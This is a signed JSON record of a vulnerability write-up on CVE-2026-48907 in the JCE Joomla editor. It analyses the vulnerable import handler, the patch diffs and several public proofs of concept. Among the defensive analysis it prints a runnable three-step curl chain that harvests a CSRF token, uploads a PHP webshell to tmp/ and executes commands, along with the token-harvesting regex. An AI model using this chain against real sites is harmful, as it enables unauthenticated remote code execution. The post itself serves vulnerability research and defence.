-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"## The advisory describes two stages. The code describes one.\n\nRead the JCE advisory and the NVD entry as a state machine. Stage one: create a profile, gated by a missing access control. Stage two: use the created profile to upload arbitrary files. CWE-284, Improper Access Control, is the gate that was missing on stage one. The privileged operation in stage two is what closes the chain.\n\nThe first PoC published, [`webshellseo8/CVE-2026-48907-Unauthenticated-RCE-in-JCE`](https://github.com/webshellseo8/CVE-2026-48907-Unauthenticated-RCE-in-JCE) by an author signed `BIBIL_0DAY`, builds the chain that way. It POSTs a malicious profile XML to `profiles.import`, granting the anonymous session a permissive upload profile (`filetypes: \"files=php,txt,gif\"`, `validate_mimetype: \"0\"`, `add_random: \"0\"`, `area: 0`, `ordering: -99999`). Then it POSTs to `index.php?option=com_jce&task=plugin.rpc&plugin=browser` with `method=upload` and the PHP shell as the form file. The first request unlocks. The second writes. Two stages, like the advisory promises.\n\nThe second PoC, [`ywh-jfellus/CVE-2026-48907`](https://github.com/ywh-jfellus/CVE-2026-48907), does not. It POSTs once to `profiles.import` with `profile_file` set to a multipart upload named `cve-2026-48907-3105.xml.php`, body `\\n`. The server returns:\n\n```json\n{\"success\":true,\"message\":\"\",\"messages\":{\"info\":[\"0 Profile(s) imported successfully\"]},\"data\":{\"redirect\":\"\\/index.php\\/component\\/jce?view=profiles\"}}\n```\n\nThe author then GETs `/tmp/cve-2026-48907-3105.xml.php`. The response body is `3105`. PHP executed. The \"import\" never created a profile. The success message even says so: zero profiles imported. The shell was already on disk before the parser refused to read it.\n\n## profiles.import is a file upload. Session::checkToken() is the only gate.\n\nThe pre-patch controller lives at `administrator/components/com_jce/controller/profiles.php`, class `JceControllerProfiles`. The `import()` method, in JCE 2.9.99.4:\n\n```php\npublic function import()\n{\n // Check for request forgeries\n Session::checkToken() or jexit(JText::_('JINVALID_TOKEN'));\n\n $app = Factory::getApplication();\n $model = $this->getModel();\n $result = $model->import();\n ...\n}\n```\n\nThere is one gate. `Session::checkToken()` is the Joomla CSRF check. The token it verifies is bound to a session and an action context. An unauthenticated visitor gets a session on their first request, and the token is rendered into the response HTML as `\"csrf.token\":\"<32 hex chars>\"`. The PoC harvests it with one line of regex over the homepage:\n\n```python\nm = re.search(r'\"csrf\\.token\"\\s*:\\s*\"([a-f0-9]{32})\"', r.text)\n```\n\nThe next POST presents the harvested token under a form-field name that is itself the token value. `Session::checkToken()` returns true. The handler executes. No login. No user. No `current_user_can` analog. The comment in the source labels the line correctly: \"Check for request forgeries.\" The handler then treats request-forgery defense as authentication.\n\nThis is `nonce-is-not-auth`, the pattern the catalog has documented twelve times in WordPress plugins. The [pix-woocommerce-nonce-is-not-auth](/posts/pix-woocommerce-nonce-is-not-auth) post traces the shape through a `wp_ajax_nopriv_` upload handler; [the Avada Builder post](/posts/avada-builder-no-conditional-tag-table) we published this morning watches the same gate land on `call_user_func`. The mechanism crosses CMSes intact. WordPress calls the freshness token a \"nonce,\" Joomla calls it a \"token.\" Both check that the request came from a session that fetched the form. Neither asks who the session belongs to.\n\nThe 2.9.99.5 patch (commit `64f85d92`, \"Update authorisation checks across all controllers\") adds the missing question to the import handler:\n\n```diff\n public function import()\n {\n // Check for request forgeries\n- Session::checkToken() or jexit(JText::_('JINVALID_TOKEN'));\n+ Session::checkToken() or jexit(Text::_('JINVALID_TOKEN'));\n+\n+ $user = Factory::getUser();\n+\n+ if (!$user->authorise('core.manage', 'com_jce')) {\n+ throw new Exception(Text::_('JERROR_ALERTNOAUTHOR'), 403);\n+ }\n```\n\n`$user->authorise('core.manage', 'com_jce')` is the question the controller had not been asking. Three other methods on the same controller (`repair`, `copy`, `delete`) receive the same insertion in the same commit. Four handlers in `JceControllerProfiles` were treating CSRF as authentication. The commit commits the difference between \"the request is fresh\" and \"the requester is allowed.\"\n\nThe lone-CSRF-gate version of this controller landed in commit `bd58bced` on July 30, 2018. The authorisation check arrived seven years and ten months later, on June 3, 2026, three days after the disclosure was confirmed.\n\n## The fourth argument to File::upload() was true for seven years.\n\nDown in the model, `administrator/components/com_jce/models/profile.php`, the import handler calls into Joomla's filesystem helper. The pre-patch line:\n\n```php\n// Move uploaded file.\nFile::upload($source, $destination, false, true);\n```\n\n`Joomla\\CMS\\Filesystem\\File::upload` has the signature:\n\n```php\npublic static function upload($src, $dest, $useStreams = false, $allowUnsafe = false, $safeFileOptions = [])\n```\n\nThe fourth argument is `$allowUnsafe`. When true, Joomla's `File::upload` skips the call to `\\Joomla\\CMS\\Filesystem\\Helper::canUpload()` that would otherwise reject `.php`, `.phtml`, `.phar`, and the other extensions the framework's safe-file policy denies. The framework default for that argument is `false`. JCE's call site passes `true`.\n\nThe line was written on March 13, 2019, in commit `f0e930c1` (\"Add files via upload\"), which introduced `models/profile.php` to the codebase. The fourth argument has been `true` ever since. Seven years and three months. Every Joomla site that installed JCE between then and June 2026 was running a profile-import handler that explicitly asked the filesystem layer to disable its safe-file check before writing the upload to disk.\n\nThis is `safe-mode-was-opt-in`: the catalog pattern for a library that exposes a security-relevant flag with a safe default, and a caller that passes the unsafe value. The [EspoCRM exhibit](/posts/espocrm-cve-2026-33657-triple-brace-was-correct) shows the same shape with Michelf Markdown's `no_markup` and `no_entities`; the [Everest Forms exhibit](/posts/everest-forms-cve-2026-3296-wrapper-was-in-the-file) shows it inside one file where the safe wrapper lives fifty-four lines below the unsafe call. JCE's instance puts the unsafe flag on a `File::upload` call that runs once per HTTP request reachable without authentication. The unsafe value is hardcoded. The opt-in did not come from configuration or from the environment. The opt-in was the source.\n\nThe 2.9.99.5 patch (commit `0d599a30`, \"Fix and update profiles import\") removes the fourth argument:\n\n```diff\n // Move uploaded file.\n-File::upload($source, $destination, false, true);\n+File::upload($source, $destination, false);\n```\n\nOne word removed. The remainder of `models/profile.php` adds new checks: a size cap, `if ($file['size'] > 1024 * 512)`, and an extension assertion, `if (strtolower($extension) !== 'xml')`. The framework's `canUpload()` then runs in the background once `$allowUnsafe` returns to its default. The patch did not invent the safe-file check. The safe-file check existed. The patch stopped opting out of it.\n\n## The destination is tmp/. Joomla runs PHP from tmp/.\n\nEven with `$allowUnsafe = true`, an attacker still needs a destination directory the webserver will execute PHP from. The handler reads it from Joomla configuration:\n\n```php\n$config = Factory::getConfig();\n$destination = $config->get('tmp_path') . '/' . $name;\n$source = $file['tmp_name'];\n\n// Move uploaded file.\nFile::upload($source, $destination, false, true);\n```\n\n`tmp_path` on a default Joomla install is `/tmp`. The `joomla:latest` Docker image, which the ywh-jfellus PoC uses to stand up its `vulnerable/` lab via `entrypoint.sh` that runs `php /var/www/html/cli/joomla.php extension:install --url=https://github.com/widgetfactory/jce/releases/download/2.9.99.4/pkg_jce_29994.zip`, ships `tmp_path` as `/var/www/html/tmp`. Apache serves `GET /tmp/` from that directory. The shipped `.htaccess` does not deny PHP execution there. The official Joomla documentation has, for years, recommended moving `tmp_path` outside the webroot and adding a `` deny block to the `tmp` directory. The recommendation is the workaround for the architecture. It is not a property of the architecture.\n\nThis is `unauth-write-to-execution-path` in its plainest form. The catalog's nineteen exhibits all compose the same three architectural decisions: an unauthenticated trigger, a write directory that overlaps the execute path, and a contract that does not validate file identity. JCE has all three. The pre-patch import handler accepts unauthenticated callers (`Session::checkToken` only), writes to a webroot directory (`tmp/`), and does not validate the file's extension or content (the safe-file check was opted out of). The [Pix for WooCommerce](/posts/pix-woocommerce-nonce-is-not-auth) exhibit on this pattern composed the same shape with a `wp-content/plugins/.../certs_c6/` destination and a `wp_ajax_nopriv_` registration; JCE composes it with a `tmp/` destination and a Joomla session token.\n\nThe `$name` variable in `models/profile.php` is the multipart field's filename passed through `File::makeSafe()`, which strips path separators, control characters, and a small set of disallowed punctuation. It does not block extensions. `cve-2026-48907-3105.xml.php` survives `File::makeSafe()` unchanged. The destination becomes `/var/www/html/tmp/cve-2026-48907-3105.xml.php`. The next request:\n\n```\nGET /tmp/cve-2026-48907-3105.xml.php HTTP/1.1\nHost: target\n```\n\nevaluates the file as PHP. Apache's content-handler dispatch reads the trailing `.php`, ignores the preceding `.xml`, hands the file to mod_php, and returns the interpreted output. The PoC's payload returns `3105`. A weaponized payload returns whatever the attacker wanted.\n\nThe complete chain, runnable against an unhardened install:\n\n```bash\n# Step 1: harvest the CSRF token from any page render\nTOKEN=$(curl -sk https://target/ \\\n | grep -oE '\"csrf\\.token\":\"[a-f0-9]{32}\"' \\\n | grep -oE '[a-f0-9]{32}')\n\n# Step 2: POST the PHP shell as profile_file, named to land in tmp/ as PHP\ncurl -sk -X POST \"https://target/index.php?option=com_jce\" \\\n -F \"profile_file=@shell.php;filename=shell.xml.php;type=application/xml\" \\\n -F \"task=profiles.import\" \\\n -F \"${TOKEN}=1\"\n\n# Step 3: execute\ncurl -sk \"https://target/tmp/shell.xml.php?cmd=id\"\n```\n\nThree requests. The first reads a public page. The second writes a PHP file to a webroot directory. The third runs it. No authentication. No profile. No second-stage upload.\n\n## The patch that closes one CVE adds six fixes.\n\nCommits `0d599a30` (\"Fix and update profiles import\") and `64f85d92` (\"Update authorisation checks across all controllers\") together modify two files. The distinct defenses they install:\n\n1. `Factory::getUser()->authorise('core.manage', 'com_jce')` on the four controller methods that lacked it (`import`, `repair`, `copy`, `delete`).\n2. A 512 KB cap on uploaded file size in `models/profile.php`.\n3. An extension assertion in `models/profile.php` that rejects anything where `strtolower(pathinfo($name, PATHINFO_EXTENSION)) !== 'xml'`.\n4. A `libxml_disable_entity_loader(true)` guard around the `simplexml_load_string` call in `helpers/profiles.php`, scoped to PHP 7.x (the entity loader is disabled by default on PHP 8+).\n5. An allowlist in `helpers/profiles.php` of profile field keys (`name`, `description`, `users`, `types`, `components`, `area`, `device`, `rows`, `plugins`, `published`, `ordering`, `params`) inside `JceProfilesHelper::processImport`, dropping any child element whose name is not on the list.\n6. Removal of the `$allowUnsafe = true` argument on `File::upload` in `models/profile.php`.\n\nThe vendor advisory and the NVD entry each describe one bug: unauthenticated users upload editor profiles, which lets them upload arbitrary files. The patch ships six fixes. Two of them (auth check, allowUnsafe removal) close the path the public PoCs exploit. The other four are checks the author found while looking at the function whose patch was being prepared. The XXE guard, the field allowlist, the size cap, the extension assertion. Each one was a separate decision in the file's seven-year history. Each one is a separate place where the original author trusted a caller they should not have trusted, or a default they should not have overridden.\n\nThe CVE number names the upload path. The patch addresses the upload path and five other primitives the same handler exposes. If any of the other five had been weaponized first, the CVE would name a different one.\n\nThis is `design-debt-driver` at the function-scope. The profile-import handler accumulated unsafe choices for seven years, and the choices were independent. Removing one would not have closed the others. The 2.9.99.5 commit is the audit; the CVE is one symptom the audit happened to address first.\n\n## The mass scanners picked the long way.\n\nThe BIBIL_0DAY PoC is mirrored across `webshellseo8`, `87achrafg-stack`, and `0xBlackash` under three different bylines. All three take the two-stage path the advisory describes. They import a profile XML that grants the anonymous session permission to upload PHP files to `/images/`, then use JCE's own file-browser RPC (`task=plugin.rpc&plugin=browser`, `method=upload`) to upload a webshell. The chain works. The chain also depends on a second handler functioning the way the operator expects, on `/images/` being writable, and on the `add_random=0` flag in the malicious profile XML being honoured by the upload path. Each dependency is a place the long way can fail. None of them is a place the short way needs.\n\nThe ywh-jfellus PoC strips all of that out and lands the shell on the first request. Same `profile_file` multipart upload, same `task=profiles.import`, same `Session::checkToken` gate satisfied by a harvested CSRF token. The destination filename ends in `.xml.php`. The writer goes straight to `tmp/`. No second request. No file browser. No profile. The ywh-jfellus repo also ships paired `vulnerable/` and `patched/` docker-compose labs that install JCE 2.9.99.4 and 2.9.99.5 from the upstream release artifact, and its `poc.py` payload is `\\n`, which when executed returns `3105`. It is a researcher's reproducer, written to a defender's standard, and it is the one that names the actual bug.\n\nThe two intents are different. BIBIL_0DAY's variant defaults to thirty threads, writes the URL of every confirmed shell to `webshell.txt` in append mode across runs, and is signed three times in the banner with Telegram channels `T.ME/Devco1`, `T.ME/BIBIL0DAY`, and `T.ME/WebshellSR`. The `87achrafg-stack` fork swaps the Telegram channel to `T.ME/FreeToolsCpa` and adds a `CUSTOM_SHELL` payload that prints `BERHASIL NGNTD:V` on successful upload, Bahasa Indonesia operator slang for \"succeeded, fucked it :V\". The `87achrafg-stack` README, written in Arabic, describes the script as a `wp-json/wp/v2/users` credential scraper for CVE-2025-9209, a WordPress vulnerability that is neither this CVE nor a Joomla bug. The exploit code in the file is the JCE Joomla scanner. The README was copied from a different campaign and the bytes were not edited.\n\nThe 0xBlackash variant is the same scanner under a third byline, packaged with a ChatGPT-generated header image, a CVSS 10.0 badge, an \"Exploitation Flow\" ASCII diagram, and a closing note that reads: \"This repository does not provide exploit code or instructions for unauthorized access.\" The repository's other file is `CVE-2026-48907.py`. The PoC author count for this CVE is one. The republish count is at least three.\n\nThe scanners that hit production this week are the ones that picked the long way. They will keep working, on hosts that have not yet patched. The shorter way will also keep working, on every site that has not moved `tmp_path` outside the webroot. The patch closes the short way at the handler. The architectural choice that put `tmp/` inside the webroot remains.\n\nPoC: [ywh-jfellus/CVE-2026-48907](https://github.com/ywh-jfellus/CVE-2026-48907)","closing_line":"The advisory describes two stages. The patch closes six. The handler is one file upload, and there is no profile.","hook_md":"JCE's vendor advisory at joomlacontenteditor.net frames CVE-2026-48907 as a flaw that \"allowed unauthenticated users to upload editor profiles, which could be exploited to upload arbitrary files to the server.\" NVD compresses it: \"the creation of new editor profiles for unauthenticated users, ultimately resulting in PHP code upload and execution.\" Both read as a two-stage exploit. Create a profile. Use the profile to upload.\n\nThe advisory describes two stages. The code describes one. The handler the advisory calls \"profile creation\" is the file upload. The `profile_file` multipart field on `POST /index.php?option=com_jce&task=profiles.import` is the attacker's PHP shell. The destination is `$tmp_path/$name`, and on every Joomla deployment that runs PHP from `tmp/`, which is the default, the file executes on the next GET. There is no second stage.","post_id":624,"slug":"jce-cve-2026-48907-tmp-is-the-webroot","title":"CVE-2026-48907: JCE's Profile Import Stages To tmp/. Joomla's tmp/ Runs PHP.","type":"initial","unreadable_sentence":"The advisory describes two stages. The code describes one. The handler the advisory calls \"profile creation\" is the file upload, and the destination is a directory Joomla runs PHP from by default."} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCaxBeLgAKCRDeZjl4jgkQ JnP0AQCsjH493T1cHX5OClkEuAsOedaxGvw/jBQ843I+rOpyyAEAsObYF6tleM9c 11qK7rvUrQGMKFK289rqZ7vrzpQNWgE= =9DyV -----END PGP SIGNATURE-----